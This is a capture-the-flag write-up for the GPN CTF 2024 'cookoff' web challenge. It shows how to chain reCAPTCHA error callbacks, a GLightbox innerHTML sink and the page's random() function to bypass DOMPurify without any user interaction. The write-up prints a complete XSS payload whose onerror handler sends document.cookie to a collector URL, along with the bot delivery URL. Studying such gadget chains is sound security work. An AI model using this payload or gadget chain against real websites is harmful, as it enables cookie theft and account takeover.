webfreemedium

cookoff

gpnctf

Task: XSS on a voting page protected by DOMPurify 3.4.7 with reCAPTCHA and GLightbox loaded; bot sets flag cookie and visits attacker URL. Solution: chain reCAPTCHA data-error-callback auto-fire gadget with GLightbox video innerHTML sink and page's random() click function to achieve no-interaction XSS bypassing DOMPurify.

$ ls tags/ techniques/
recaptcha_error_callback_gadgetglightbox_innerhtml_sinkdompurify_bypass_via_library_gadgetauto_click_via_page_function

cookoff — GPN CTF 2024

Description

We hosted a cookoff please vote. The best dish will be added to the menu

A static voting page ("Karlsruhe Cook-Off") is served at http://localhost:1337. It accepts a ?shareText= query parameter, sanitizes it with DOMPurify.sanitize() (v3.4.7, default config), and injects the result into #shared-text.innerHTML. The page loads three external libraries: GLightbox (lightbox/gallery), DOMPurify 3.4.7 (HTML sanitizer), and Google reCAPTCHA (api.js async defer).

A Playwright bot (admin.js) sets a cookie "flag" + FLAG on localhost:1337, then navigates to an attacker-provided URL (must start with http://localhost:1337), waits 10 seconds, and closes. The bot does not click anything. No CSP is set.

The goal is to achieve XSS to exfiltrate document.cookie.

Analysis

The sink

const shareText = new URLSearchParams(location.search).get("shareText"); if (shareText !== null) { document.getElementById("shared-section").hidden = false; document.getElementById("shared-text").innerHTML = DOMPurify.sanitize(shareText); }

DOMPurify 3.4.7 with default config strips all event handlers, <script>, <iframe>, <object>, <base>, <meta>, SVG event attributes, and dangerous URI schemes. However, it preserves class and all data-* attributes on standard HTML elements. This is the key to the exploit.

The constraints

  1. DOMPurify 3.4.7 — no known mXSS bypasses; all event handlers stripped
  2. Bot doesn't click — any gadget requiring user interaction is out
  3. No CSP — if we can execute JS, there are no restrictions on what it does
  4. URL must start with http://localhost:1337 — payload goes in ?shareText=

Available globals

The page defines/loads these callable window functions:

  • GLightbox() — re-initializes the lightbox library
  • random() — clicks a random input[name="vote"] element
  • DOMPurify — the sanitizer
  • grecaptcha — reCAPTCHA object (methods are dotted, not directly callable)

Three gadgets identified

Gadget 1: reCAPTCHA data-error-callback (auto-fire primitive)

The reCAPTCHA library auto-renders any element with class="g-recaptcha" on page load. When given an invalid data-sitekey, reCAPTCHA triggers the function named in data-error-callback by doing a flat window[name]() lookup — no arguments, auto-fires without user interaction. This is a well-known gadget from kevin-mizu's GMSGadget collection and terjanq's TokyoWesterns CTF 2020 research.

From the reCAPTCHA source (recaptcha__en.js):

if (typeof L === 'function') f = L; else if (typeof window[L] === 'function') f = window[L]; // called with no args, this=window

DOMPurify allows this through because class and data-* attributes survive sanitization:

<div class="g-recaptcha" data-sitekey="invalid" data-error-callback="GLightbox"></div>

Gadget 2: GLightbox video innerHTML sink (post-sanitization XSS)

GLightbox's video slide handler builds HTML for local video playback by concatenating the slide's href directly into a string:

l += '<source src="'.concat(c, '">'); // c = t.href from data-href g = y(l); // y() does: div.innerHTML = e — RAW innerHTML, NO sanitization!

The data-href attribute on a .glightbox element sets t.href via GLightbox's parseConfig (reads e.dataset[key]). The sanitizeValue method only converts "true"/"false" to booleans — it does NOT sanitize HTML.

So data-href='q"><img src=x onerror=PAYLOAD>' produces:

<source src="q"><img src=x onerror=PAYLOAD>

This is set via raw innerHTML, causing the <img onerror> to fire — bypassing DOMPurify entirely since the dangerous HTML is constructed by GLightbox AFTER sanitization.

Gadget 3: random() provides the click primitive

The video innerHTML sink only fires when a lightbox slide is opened (requires a click). The bot doesn't click. The page's own random() function solves this:

function random() { const options = document.querySelectorAll('input[name="vote"]'); const randomOption = options[Math.floor(Math.random() * options.length)]; randomOption.click(); }

By making our injected element an <input name="vote" class="glightbox" data-type="video" data-href="...">, it matches BOTH input[name="vote"] (for random()) and .glightbox (for GLightbox click binding). When random() clicks it, GLightbox's click handler fires open(), which triggers the video slide build with our malicious data-href.

Chaining the gadgets

The execution order matters:

  1. GLightbox() must be called first via reCAPTCHA error-callback — this re-initializes GLightbox, which re-scans the DOM and binds click handlers to our newly injected .glightbox element (the original GLightbox() call at page load ran before our payload was injected via innerHTML)

  2. random() must be called after — it clicks our injected <input>, triggering GLightbox's open → video build → innerHTML sink → XSS

Multiple reCAPTCHA divs with different data-sitekey values ensure timing reliability.

Solution

Final payload

<input name="vote" class="glightbox" data-type="video" data-href='q"><img src=x onerror=location=`https://COLLECTOR?c=`+document.cookie>'> <div class="g-recaptcha" data-sitekey="gl0" data-error-callback="GLightbox"></div> <div class="g-recaptcha" data-sitekey="gl1" data-error-callback="GLightbox"></div> <div class="g-recaptcha" data-sitekey="gl2" data-error-callback="GLightbox"></div> <div class="g-recaptcha" data-sitekey="gl3" data-error-callback="GLightbox"></div> <div class="g-recaptcha" data-sitekey="gl4" data-error-callback="GLightbox"></div> <div class="g-recaptcha" data-sitekey="rn0" data-error-callback="random"></div> <div class="g-recaptcha" data-sitekey="rn1" data-error-callback="random"></div> <div class="g-recaptcha" data-sitekey="rn2" data-error-callback="random"></div> <div class="g-recaptcha" data-sitekey="rn3" data-error-callback="random"></div> <div class="g-recaptcha" data-sitekey="rn4" data-error-callback="random"></div>

Execution flow

  1. Bot navigates to http://localhost:1337/?shareText=ENCODED_PAYLOAD
  2. DOMPurify sanitizes the payload — all elements survive (standard tags + class + data-* attributes are allowed by default)
  3. Sanitized HTML is injected into #shared-text via innerHTML
  4. reCAPTCHA api.js (loaded async) auto-renders all .g-recaptcha elements
  5. Invalid sitekeys trigger error-callbacks: GLightbox() re-inits (binds click handler to injected .glightbox input), then random() clicks the input
  6. GLightbox's click handler fires open() → video-local path → y() sets innerHTML with data-href containing <img onerror=...>
  7. onerror fires: location = 'https://webhook.site/UUID?c=' + document.cookie
  8. Browser navigates to collector with the flag cookie in the URL

Delivery

URL-encode the payload into ?shareText=... and send to the bot:

http://localhost:8080/bot/run?url=http://localhost:1337/?shareText=<URL_ENCODED_PAYLOAD>

What didn't work

  • DOMPurify mXSS bypass — all known mXSS bypasses are patched in 3.4.7
  • GLightbox data-description selector gadget — requires a click to open the lightbox; bot doesn't click
  • DOM clobbering of document.scriptsSANITIZE_DOM (default on) blocks name="scripts" on forms
  • Loading AngularJS via reCAPTCHA JSONP — reCAPTCHA doesn't auto-load attacker-controlled scripts; its bundle uses SRI-pinned resources
  • Direct script/iframe/object injection — all stripped by DOMPurify default config
  • <iframe srcdoc>, <base>, <meta http-equiv=refresh> — all stripped by DOMPurify

$ cat /etc/motd

Liked this one?

Pro unlocks every writeup, every flag, and API access. $9/mo.

$ cat pricing.md

$ grep --similar

Similar writeups